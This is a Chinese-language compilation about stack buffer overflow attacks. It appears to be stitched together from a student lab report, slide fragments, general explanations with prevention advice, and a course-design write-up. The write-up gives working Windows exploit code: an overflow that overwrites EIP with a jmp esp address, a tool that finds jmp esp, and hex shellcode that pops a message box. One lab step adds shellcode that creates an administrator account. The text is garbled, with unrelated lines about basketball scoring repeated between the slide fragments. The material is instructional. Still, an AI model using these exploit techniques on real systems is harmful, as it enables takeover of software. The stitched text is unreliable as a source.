缓冲区溢出攻击的原理与实践
缓冲区溢出攻击与防范实验报告

缓冲区溢出攻击与防范实验报告——计算机网络(2)班——V200748045黄香娥1·缓冲区溢出的概念:缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间想匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2·缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。
而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害一种是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。
3·缓冲区溢出原理:由一个小程序来看://test.c#include "stdio.h"#include "stdlib.h"#include "string.h"void overflow(void){char buf[10];strcpy(buf,"0123456789123456789");}//end overflowint main(void){overflow();return 0;}//end main按F11进入"Step into"调试模式,如下:按F11跟踪进入overflow,让程序停在6,现在再看一下几个主要参数:esp=0x0012ff30,eip发生了变化,其它未变。
第7章缓冲区溢出攻击及防御技术ppt课件

2024/3/29
网络入侵与防范技术
7
篮球比赛是根据运动队在规定的比赛 时间里 得分多 少来决 定胜负 的,因 此,篮 球比赛 的计时 计分系 统是一 种得分 类型的 系统
7.1 缓冲区溢出概述
隐蔽性:
第三,由于漏洞存在于防火墙内部的主机上,攻击者可 以在防火墙内部堂而皇之地取得本来不被允许或没有权 限的控制权;
2024/3/29
网络入侵与防范技术
1
篮球比赛是根据运动队在规定的比赛 时间里 得分多 少来决 定胜负 的,因 此,篮 球比赛 的计时 计分系 统是一 种得分 类型的 系统
7.1 缓冲区溢出概述
什么是缓冲区?它是包含相同数据类型实例的一个 连续的计算机内存块。是程序运行期间在内存中分 配的一个连续的区域,用于保存包括字符数组在内 的各种数据类型。
Windows系统中缓冲区溢出的事例更是层出不穷。 2001年“红色代码”蠕虫利用微软IIS Web Server中
的缓冲区溢出漏洞使300 000多台计算机受到攻击; 2003年1月,Slammer蠕虫爆发,利用的是微软SQL
Server 2000中的缺陷; 2004年5月爆发的“振荡波”利用了Windows系统的活
产生碎片不同 对堆来说,频繁的new/delete或者malloc/free势必会造成 内存空间的不连续,造成大量的碎片,使程序效率降低。 对栈而言,则不存在碎片问题,因为栈是先进后出的队列, 永远不可能有一个内存块从栈中间弹出。
生长方向不同 堆是向着内存地址增加的方向增长的,从内存的低地址向高 地址方向增长。 栈的生长方向与之相反,是向着内存地址减小的方向增长, 由内存的高地址向低地址方向增长。
1999年w00w00安全小组的Matt Conover写了基于 堆缓冲区溢出专著,对堆溢出的机理进行了探索。
网络安全实验报告 - 缓冲区溢出攻击

一实验名称利用跳转指令实现缓冲区溢出定位参数地址实现缓冲区溢出二实验目的1.熟练掌握缓冲区溢出原理2.利用jmp esp指令实现缓冲区溢出3.熟练掌握缓冲区溢出原理4.利用定位参数地址实现缓冲区溢出三实验步骤利用跳转指令实现缓冲区溢出1.编写前导码程序中提供了一个超长前导码,对程序进行调试来确定实际需要的前导码长度在图中可以看出,0x49484746四字节覆盖了ret返回地址2.查找jmp esp指令地址运行FindJmpesp工具,选取一个地址追加到shellcode尾(追加填加地址时注意数组高字节对应地址高位),所选jmp esp指令地址是0x77e424da跟踪调试程序,确定在memcpy执行返回时jmp esp指令是否被执行从图看出,在jmp esp指令执行完毕后,指令指针紧接着执行了3个空指令,而空指令是追加在shellcode尾部的3.生成实现弹出对话框的指令码MessageBoxA函数的绝对内存地址,该地址为0x77E10000+0x0003D8DE=0x77E4D8DE函数ExitProcess的绝对内存地址0x7C800000+0x00013039=0x7C813039利用反汇编功能获取代码字节,将代码字节以十六进制数据形式继续追加到shellcode尾。
重新编译执行。
定位参数实现缓冲区溢出1.进入工程2.生成shellcode功能体(1)首先设置OverFlowClient项目为启动项。
(2)使用Depends工具打开FindShellBase.exe文件定位上述内存地址kernel32.dll 0x7C800000LoadlibraryA 0x7C800000+0x00001E60=7C801E60SHELL32.DLL 0x7CA10000shellExecuteA 0x7CA10000+0x0008F6D4=0x7CA9F6D4(3)编译并生成OverFlowClient.exe,执行OverFlowClient.exe,确定系统是否新建了jlcss用户,并隶属Administrators组。
c语言缓冲区溢出原理

c语言缓冲区溢出原理缓冲区溢出是指当程序尝试将更多的数据存储到缓冲区中,而该缓冲区的大小不足以容纳这些数据时,多余的数据将会溢出到相邻的内存位置上。
这种错误的利用可以被恶意用户用于执行恶意代码或者破坏程序的正常功能。
C语言中的缓冲区溢出是一种常见的安全漏洞,因为C语言在处理字符串时没有足够的安全机制。
缓冲区溢出的原理主要是由于C语言中的字符串没有固定的长度,在存储字符串时,通常使用字符数组进行存储,但是如果数据的长度超过了数组的大小,就会溢出到相邻的内存地址上。
这个问题经常出现在使用C标准库函数(如strcpy、strcat等)时,这些函数不会检查目标缓冲区是否足够大来容纳要复制或连接的数据,导致溢出情况的发生。
恶意用户可以通过向程序输入大量数据来触发缓冲区溢出,然后将恶意的代码插入到溢出的位置。
一旦溢出的恶意代码被执行,攻击者就可以获得对系统的控制权,执行任意的恶意操作,如运行恶意程序、获取敏感信息或者破坏系统。
为了防止缓冲区溢出攻击,开发人员可以采取以下措施来提高软件的安全性:1. 避免使用不安全的C标准库函数,如strcpy、strcat,可以使用更安全的替代函数,如strncpy、strncat等,这些函数允许开发人员指定要复制或连接的最大字符数。
2. 对输入数据进行有效的边界检查和验证。
开发人员应该仔细检查用户输入的大小,并确保不会超出缓冲区的容量。
3. 使用堆栈保护机制,如栈随机化和堆栈溢出保护功能(如canary)。
这些机制可以防止攻击者利用缓冲区溢出来修改函数返回地址或破坏堆栈结构。
4. 定期更新并修复软件中的安全漏洞。
开发人员应该密切关注安全漏洞报告,并及时修复任何已知的缓冲区溢出漏洞。
综上所述,缓冲区溢出是一种常见的安全漏洞,攻击者可以利用该漏洞执行恶意代码并获取系统控制权。
为了防止缓冲区溢出攻击,开发人员应该使用安全的字符串处理函数,进行输入验证和边界检查,并实施额外的安全机制来保护软件免受恶意攻击。
缓冲区溢出漏洞实验

缓冲区溢出漏洞实验缓冲区溢出漏洞实验⼀、了解缓冲区溢出及其原理1、缓冲区溢出概念缓冲区溢出是指当计算机向缓冲区内填充数据位数时超过了缓冲区本⾝的容量溢出的数据在合法数据上,理想的情况是程序检查数据长度并不允许输⼊超过缓冲区长度的字符,但是绝⼤多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患,操作系统所使⽤的缓冲区,⼜被称为"堆栈"。
在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2、缓冲区溢出攻击及其原理通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从⽽破坏程序的堆栈,使程序转⽽执⾏其它指令,以达到攻击的⽬的。
造成缓冲区溢出的原因是程序中没有仔细检查⽤户输⼊的参数。
这也是稍后做题的突破原理,缓冲区漏洞普遍并且易于实现,缓冲区溢出成为远程攻击的主要⼿段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的⼀切:植⼊并且执⾏攻击代码。
被植⼊的攻击代码以⼀定的权限运⾏有缓冲区溢出漏洞的程序,从⽽得到被攻击主机的控制权。
⼤多数的缓冲溢出攻击都是通过改变程序运⾏的流程到⼊侵者植⼊的恶意代码,其主要⽬的是为了获取超级⽤户的shell。
原理:将恶意指令存放在buffer中,这段指令可以得到进程的控制权,从⽽达到攻击的⽬的。
⼆、实验楼实现缓冲区溢出1、实验准备本实验需要32位环境下操作,输⼊命令下载必要的软件包。
sudo apt-get updatesudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-devsudo apt-get install -y python3.6-gdbm gdb2、初始设置Ubuntu 和其他⼀些 Linux 系统中,使⽤地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得⼗分困难,⽽猜测内存地址是缓冲区溢出攻击的关键。
实验四缓冲区溢出攻击技术

实验单元四. 缓冲区溢出攻击技术一、实验目的和要求1.掌握缓冲区溢出的原理;2.掌握缓冲区溢出漏洞的利用技巧;3.理解缓冲区溢出漏洞的防范措施。
二、实验内容和原理缓冲区溢出的原理:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。
造成缓冲区溢出的根本原因是程序中缺少错误检测。
当然,随便往缓冲区中填东西造成它溢出一般只会出现“分段错误”(Segmentation fault),而不能达到攻击的目的。
最常见的手段是通过制造缓冲区溢出使程序运行一个用户shell,再通过shell 执行其它命令。
如果该程序属于root,攻击者就获得了一个有root 权限的shell,可以对系统进行任意操作。
缓冲区溢出攻击之所以成为一种常见安全攻击手段其原因在于缓冲区溢出漏洞太普遍了,并且易于实现。
而且,缓冲区溢出成为远程攻击的主要手段其原因在于缓冲区溢出漏洞给予了攻击者他所想要的一切:植入并且执行攻击代码。
被植入的攻击代码以一定的权限运行有缓冲区溢出漏洞的程序,从而得到被攻击主机的控制权。
缓冲区溢出漏洞和攻击有很多种形式,而相应的防范手段也随者攻击方法的不同而不同。
三、实验项目缓冲区溢出产生cmd窗口;改写函数返回地址;shellcode的编写;shellcode的植入。
四、实验所需软硬件1)仪器设备条件:PC及其网络环境;2)物质条件:Windows XP SP3、Linux、Gcc、Visual C++ 6.0 编译器等,OllyDbg;3)相关文献资料:课件及网上收集的资料。
五、操作方法与实验步骤1.缓冲区溢出漏洞产生的的基本原理和攻击方法 缓冲区溢出模拟程序程序源代码如下:运行该程序产生访问异常:由于拷贝字符串时产生缓冲区溢出,用“ABCD”字符串的值覆盖了原来EIP的值,所以main函数返回时EIP指向44434241,引发访问异常。
运行命令窗口的shellcodeshellcode测试代码如下:#include "string.h"#include "stdio.h"#include<windows.h>char name[]="\x41\x41\x41\x41""\x41\x41\x41\x41""\x41\x41\x41\x41" ///覆盖ebp"\x12\x45\xfa\x7f" ////覆盖eip,jmp esp地址7ffa4512"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x6d""\xc6\x45\xf5\x73\xc6\x45\xf6\x76\xc6\x45\xf7\x63""\xc6\x45\xf8\x72\xc6\x45\xf9\x74\xc6\x45\xfa\x2e""\xc6\x45\xfb\x64\xc6\x45\xfc\x6c\xc6\x45\xfd\x6c""\x8d\x45\xf4\x50\xb8""\x77\x1d\x80\x7c" // LoadLibraryW的地址shellcode测试代码运行效果如下:由于把main函数的返回EIP地址替换成了jmp esp的地址,main函数返回的时候就会执行我们的shellcode代码。
简述缓冲区溢出攻击的原理以及防范方法

简述缓冲区溢出攻击的原理以及防范方法
一、缓冲区溢出攻击原理
缓冲区溢出攻击(Buffer Overflow Attack)是一种非法异常的程序运行行为,它发生的目的是让受害者的程序运行出现崩溃,从而获得机器控制权限,可以获取机器中存有的敏感资料,并进行恶意操作,如发送垃圾邮件,拒绝服务攻击(DoS attack),远程控制等行为破坏网络安全。
缓冲区溢出攻击的基本原理,就是恶意程序使用某种方法,将程序缓冲区中存放的数据或者信息溢出,超出缓冲区的容量,而这种溢出的数据又存放了受害者程序控制机器的恶意命令,从而给受害者程序植入恶意代码,使恶意程序获得了机器的控制权限,进而达到攻击系统的目的。
二、防范方法
1、使用受检程序,受检程序是一种编译技术,通过对程序源代码进行类型检查、安全检查等操作,来把漏洞修复好,从而起到防止缓冲区溢出攻击的作用。
2、使用数据流分析技术,它是一种动态分析技术,可以识别出恶意代码并阻止其危害,对程序运行的漏洞进行检查,从而防止攻击者利用缓冲区溢出攻击系统。
3、实行严格的安全审计制度,对程序源码、程序诊断、数据加密技术等进行严格的审计,确保程序运行的安全性,以及防止攻击者利用缓冲区溢出攻击系统。
4、采用虚拟化技术,虚拟化技术可以在不同的安全层次上对程序进行控制,对程序运行的过程进行审查,从而防止攻击者使用缓冲区溢出攻击系统。
5、对网络环境进行安全审计,包括电脑中存在的安全漏洞,系统的安全配置,网络设备的稳定性以及系统的社会工程学攻击等,从而确保网络环境能够不被缓冲区溢出攻击所侵袭。
缓冲区溢出-原理和简单利用-概述说明以及解释

缓冲区溢出-原理和简单利用-概述说明以及解释1.引言概述部分是文章的开篇,旨在引入读者对于缓冲区溢出问题的背景和概念。
下面是概述部分的内容:1.1 概述在计算机科学和网络安全领域中,缓冲区溢出(Buffer Overflow)是一种常见的安全漏洞,它可能导致系统崩溃、数据泄露、远程命令执行等严重后果。
本文将介绍缓冲区溢出的原理和简单利用方法。
缓冲区溢出指的是当向一个缓冲区写入数据时,超出了该缓冲区所能容纳的大小,导致溢出的数据覆盖到相邻的内存区域。
这种溢出可能会覆盖控制流程信息,改变程序执行路径,从而使攻击者能够执行恶意代码。
缓冲区溢出是一种经典的安全漏洞,其发现最早可以追溯到20世纪70年代。
尽管多年来在软件和系统的开发过程中进行了一系列的改进和加固,但仍然存在很多软件和系统容易受到缓冲区溢出攻击的漏洞存在。
正因如此,了解缓冲区溢出的原理和简单利用方法对于计算机科学和网络安全从业人员来说是至关重要的。
本文的主要目的是帮助读者理解缓冲区溢出的原理,并介绍常见的利用方法。
在深入研究和了解缓冲区溢出的背景之后,读者将能够更好地理解和应对这种常见的安全威胁。
接下来的章节将分别介绍缓冲区溢出的原理,并提供一些简单的利用方法作为案例。
最后,我们将总结本文的内容,并进一步讨论缓冲区溢出的意义和应对措施。
通过阅读本文,我们希望读者能够加深对于缓冲区溢出问题的理解,提高对于软件和系统安全的意识,并能够采取相应的措施来预防和应对这种安全漏洞。
让我们一起深入探索缓冲区溢出的原理和简单利用方法吧!文章结构是指文章整体组织的安排和框架。
一个良好的文章结构可以帮助读者更好地理解和吸收文章内容。
本文主要讨论缓冲区溢出的原理和简单利用方法,因此文章结构如下:1. 引言1.1 概述引入缓冲区溢出的基本概念和定义,解释缓冲区溢出在计算机领域的重要性和普遍存在的问题。
1.2 文章结构介绍本文的文章结构以及各个部分的内容安排,方便读者了解整个文章的组织。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
课程设计任务书计通学院网络工程专业一、缓冲区溢出概念1、缓冲区溢出:指当计算机向缓冲区内填充数据位数时超过了缓冲区本身的容量溢出的数据覆盖在合法数据上,理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下隐患.操作系统所使用的缓冲区又被称为"堆栈". 在各个操作进程之间,指令会被临时储存在"堆栈"当中,"堆栈"也会出现缓冲区溢出。
2、缓冲区最常见的攻击手段是通过制造缓冲区溢出使程序运行一个用户shell,在通过shell执行其他命令. 若该程序输入root且有suid权限的话,攻击者就获得了一个有root权限的shell,此时就可以对系统进行随意操作了.下面我来介绍一下如何控制程序跳转到攻击代码①打开记录(Activation Records)在程序中,每一个函数调用发生,在堆栈中会留下一个Activation Records,它包括函数结束时返回的地址,攻击者通过溢出这些自动变量,使地址指向攻击程序代码. 通过改变程序的返回地址,当调用结束时,程序就跳到攻击者设定的地址,而不是原地址.这类溢出被称为 stacks mashing attack.②函数指针(Function Pointers)void(*foo)(1)定义一个返回函数指针的变量foo, Function Pointers可用来定位任何地址空间. 所以只需在任何空间内的Function Pointers附近找到一个能溢出的缓冲区,然后溢出它来改变Function Pointers. 在某时刻,当程序通过Function Pointers调用函数时,程序的流程就按黑客的意图实现了(典型的溢出程序有:Linux下的Superprobe程序).③长跳转缓冲区(Longjmpbuffers)在C语言中,包含了一个简单的检验/恢复系统,称为setjmp/longjmp.即在检验点设定setjmp(buffer),用longjmp(buffer)恢复. 但若攻击者能够进入缓冲区空间,则longjmp(buffer)实际上跳转到攻击者的程序代码. 像Function Pointers, longjmp缓冲区能指向任何地方,所以攻击者要做的就是找到一个可供溢出的buffer即可.最常见的是在一个字符串中综合了代码植入和打开记录. 攻击者定位或提供溢出的自动变量,然后向程序传一个超大字符串,在引发buffer溢出改变打开记录时植入程序代码,由此达到入侵系统的目的.二、缓冲区溢出实例实现原理1、堆栈的组成:图2.1堆栈由数据存储区、EBP (栈底指针)、EIP (指令寄存器,指向下一条指令的地址)2、漏洞利用程序详细分析: 图2.2 编写一个漏洞利用程序,给它赋超过本身长度的值,使其溢出,但是我们要找到这个漏洞,我们需用shellcode 进行填充,填充一定数量的值,使我们能够清晰的找到漏洞(EIP ),如果EIP 指向的下一个地址不存在,那么它就出错,警告你哪里的指令引用的地址内存不能为“read ”,那么那个地址就是EIP 所在的位子,由于每一个地址空间都是4个字节,所以EBP 和EIP 都占4个字节,所以在出错的地址前4个地址就是EBP 的地址。
为了利用漏洞,我们就必须利用EIP 的这个空间,将这个地址用JMP ESP 来赋值,这样EIP —>JMP ESP,这样程序执行到了EIP 的地址空间时,就会跳转去执行JMP ESP ,这样就会执行另一个shellcode 的代码,这样我们就利用了缓冲区的漏洞。
图2.3Dcba Hgf Ebp 原EIP …. Dcba Hgf Lkji Ponm …. 正常时的堆栈情况 内存低址 0x61626364 0x61626364 EBP 的值 内存高址 原EIP 的值 内存高址 溢出后的 堆栈情况 内存低址 0x61626364 0x61626364 0x696a6b6c 内存高址 0x6d6e6f70 内存高址三、缓冲区溢出实例实现过程步骤1:编写一个漏洞分析代码<程序一>#include "stdio.h"#include "string.h"#include "windows.h"char name[]=" \x41\x41\x41\x41" //name[0]-name[3]" \x41\x41\x41\x41" //name[4]-name[7]"\x6a\x6b\x6c\x6d" //EBP"\x6e\x6f\x71\x72" //EIP"\x73\x74\x75\x76""\x77\x78\x7a\x7b";int main(){char output[8];LoadLibrary("user32.dll");strcpy(output,name);for(int i=0;i<8&&output[i];i++)printf("\\0x%x",output[i]);return 0;}调试结果如下图:图3.1以上是运行结构,图中所示地址(0x6f6e6d6c)是代码中的部分,所以这里是EIP,所以程序就显而易见了步骤2、我找到了漏洞所在的地址,但是我们还需找到本机的JMP ESP的地址,每一台机子的JMPESP都不一样,所以,我用了一个小程序找它的地址,这个程序是在网上找的,具体什么意思也没有仔细分析。
程序如下:<程序二>#include<windows.h>#include<iostream.h>#include<tchar.h>int main(){int nRetCode=0;bool we_load_it=false; //定义一个bool类型的,赋值falseHINSTANCE h;TCHAR dllname[]=_T("ntdll");h=GetModuleHandle(dllname); //动态链接库的地址if(h==NULL){h=LoadLibrary(dllname);if(h==NULL){cout<<"ERROR LOADING DLL:"<<dllname<<endl; //输出地址return 1;}we_load_it=true;}BYTE* ptr=(BYTE*)h;bool done=false;for(int y=0;!done;y++){try{if(ptr[y]==0xFF&&ptr[y+1]==0xE4){int pos=(int)ptr+y;cout<<"OPCODE found at 0x"<<hex<<pos<<endl;}}catch(...) //捕获地址{cout<<"END OF"<<dllname<<"MEMORY REACHED"<<endl;done=true;}}if(we_load_it)FreeLibrary(h);return nRetCode;}这样运行后,找到了本机JMP ESP的地址:0x7c93fcd8所以将EIP的地址改成JMP ESP的地址,那样就能通过这个地址,跳转,执行你想要的shellcode。
步骤3、添加必要的shellcode,执行"\x33\xDB\x53\x68\x66\x69\x73\x68\x68\x6B\x6F\x6F\x6B\x8B\xC4\x53\x50" //弹消息框代码"\x50\x53\xB8""\xea\x07\xd5\x77" //messagebox在本机的地址"\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";将这些shellcode与程序一起写上,那么执行到JMP ESP的时候就可以执行shellcode了,这样就实现了利用缓冲区漏洞。
程序如下:#include "stdio.h"#include "string.h"#include "windows.h"char name[]=//"abcdefghijklmnopqrst";"\x41\x41\x41\x41""\x41\x41\x41\x41""\x41\x41\x41\x41""\x12\x45\xfa\x7f""\x33\xDB\x53\x68\x66\x69\x73\x68\x68\x6B\x6F\x6F\x6B\x8B\xC4\x53\x50" //弹消息框代码"\x50\x53\xB8""\x8A\x05\xD5\x77" //messagebox在本机的地址"\xFF\xD0\x53\xB8\xFA\xCA\x81\x7C\xFF\xD0";int main(){char output[8];LoadLibrary("user32.dll");strcpy(output,name);for(int i=0;i<8&&output[i];i++)printf("\\0x%x",output[i]);return 0;}执行这个程序后,程序先不会出现缓冲区溢出的错误,会先弹出一个消息对话框(messagebox)出来。
这样就利用了漏洞。
对于shellcode的来源,我们要利用程序找到机器码才行首先需要将程序写成汇编语言,然后才寻找机器码。
在这之前我们需要利用程序找到几个有用的函数地址。
<程序三>#include <windows.h>#include <stdio.h>typedef void (*MYPROC)(LPTSTR);int main(){HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle = LoadLibrary("msvcrt.dll"); //得到msvcrt和system地址printf("msvcrt LibHandle = //x%x\n", LibHandle);printf("LoadLibrary=//x%x\n",LoadLibrary); //得到LoadLibrary地址ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");printf("system = //x%x\n", ProcAdd);LibHandle = LoadLibrary("user32.dll"); //得到user32和MessageBoxA地址printf("\nuser32 LibHandle = //x%x\n", LibHandle);ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");printf("MessageBox = //x%x\n", ProcAdd);return 0;}这样得到的地址如下图:图3.2为什么要这么麻烦的得到System函数和Loadlibrary的地址呢?这是因为在Windows下,函数的调用方法是先将参数从右到左压入堆栈,然后Call该函数的地址。